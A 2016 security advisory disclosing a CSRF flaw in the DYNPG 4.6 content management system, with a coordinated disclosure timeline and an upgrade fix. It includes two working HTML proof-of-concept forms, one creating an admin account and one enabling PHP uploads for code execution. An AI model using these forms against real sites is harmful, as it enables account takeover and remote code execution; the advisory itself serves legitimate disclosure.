Date: 2016-01-28 09:51:58
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: DYNPG 4.6
Fixed in: 4.7
Fixed Version Link: https://www.dynpg.org/index_en.php
Vendor Website: https://www.dynpg.org/
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 11/17/2015
Disclosed to public: 01/28/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of curesec GmbH

2. Overview

DYNPG is a content management system written in PHP. In version 4.6, it is vulnerable to CSFR as it does not have CSRF protection. This means that an attacker can perform actions for an admin, if the admin visits an attacker controlled website while logged in.

A user could add a new admin account through this vulnerability. Additionally, successful exploitation may lead to code execution by allowing the upload of PHP files in the admin area.

3. Proof of Concept

Add User:

<html> <body> <form action="http://localhost/DYNPG_46_2014-07-21/index.php?show=0" method="POST"> <input type="hidden" name="CHG_NEW_USER" value="test" /> <input type="hidden" name="CHG_NEW_USER_PASSWORD" value="test" /> <input type="hidden" name="CHG_NEW_USER_MAIL" value="test@example.com" /> <input type="hidden" name="CHG_NEW_ADMINMAIL" value="test@example.com" /> <input type="hidden" name="STATUS" value="SUBMITTED" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Once a user has gained an admin account, they can gain code execution by enabling the upload of PHP files. This could also happen as CSRF attack:

<html> <body> <form action="http://localhost/DYNPG_46_2014-07-21/index.php?show=0" method="POST"> <input type="hidden" name="CHG_DYNPG_SET_MAXUPLOAD_KB" value="8192" /> <input type="hidden" name="CHG_DYNPG_SET_FILETYPES" value="jpg, jpeg, jpe, gif, png, bmp, pdf, xls, csv, mpg, mp3, zip, rar, php" /> <input type="hidden" name="CHG_DYNPG_SET_SHOW_FONTS" value="True" /> <input type="hidden" name="CHG_DYNPG_SET_SHOW_INLINE_POPUPS" value="True" /> <input type="hidden" name="CHG_DYNPG_SET_EDIT_MODE" value="True" /> <input type="hidden" name="STATUS" value="SUBMITTED" /> <input type="hidden" name="DYNPGSETTINGS" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>

4. Solution

To mitigate this issue please upgrade at least to version 4.7:


Please note that a newer version might already be available.

5. Report Timeline

11/17/2015 Informed Vendor about Issue
11/22/2015 Vendor requests more time
01/19/2016 Vendor releases fix
01/28/2016 Disclosed to public